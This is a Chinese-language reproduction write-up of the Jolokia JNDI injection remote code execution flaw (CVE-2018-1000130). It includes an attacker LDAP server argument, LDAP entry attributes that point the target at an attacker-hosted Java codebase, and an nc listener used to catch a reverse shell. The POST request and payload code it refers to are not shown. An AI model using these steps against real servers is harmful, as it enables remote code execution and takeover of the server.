002-CVE-2018-1000130 Jolokia 远程代码执行漏洞.md
2.16 KB / 2021-07-17 00:01:28
# CVE-2018-1000130 Jolokia 远程代码执行漏洞
### 一、漏洞简介
Jolokia服务的代理模式默认情况下在1.5.0版之前容易受到JNDI注入的攻击。当以代理模式部署Jolokia代理时,有权访问Jolokia Web端点的外部攻击者可以通过JNDI注入攻击远程执行任意代码。由于Jolokia库使用用户提供的输入启动LDAP / RMI连接,因此有可能造成这种攻击。
### 二、漏洞影响
Jolokia < 1.50
### 三、复现过程
**出于演示目的,我们将在环回接口上运行漏洞利用链中的所有组件。**
1. 以下POST请求可用于利用此漏洞:
2. 我们需要创建LDAP和HTTP服务器以提供恶意负载。这些代码段最初取自marshalsec和zerothoughts GitHub的仓库。
3. 之后,我们需要创建一个ExportObject.java带有反向外壳命令。此类的字节码将通过我们的HTTP服务器提供:
4. LDAP服务器应使用以下命令行参数运行:
`http://127.0.0.1:7873/#ExportObject 9092`
**哪里:**
* http://127.0.0.1:7873/ 是攻击者的HTTP服务器的URL
* ExportObject 是包含攻击者代码的Java类的名称
* 9092 是LDAP服务器监听端口
5. nc在port上启动一个监听器7777:
```bash
$ nc -lv 7777
```
6. 发送步骤1中所示的请求后,易受攻击的服务器向攻击者的LDAP服务器发出请求。

当侦听端口的LDAP服务器9092接收到来自易受攻击的服务器的请求时,它会创建一个Entry具有属性的对象,并在LDAP响应中将其返回。
```bash
e.addAttribute(“ javaClassName”,“ ExportObject”);
e.addAttribute(“ javaCodeBase”,“ http://127.0.0.1/”);
e.addAttribute(“ objectClass”,“ javaNamingReference”);
e.addAttribute(“ javaFactory”,“ ExportObject”);
```
当易受攻击的服务器收到LDAP响应时,它将ExportObject.class从攻击者的HTTP服务器获取,实例化该对象并执行reverse shell命令。
攻击者从其nc侦听器上的易受攻击的服务器接收回连接。

参考链接
https://blog.gdssecurity.com/labs/2018/4/18/jolokia-vulnerabilities-rce-xss.html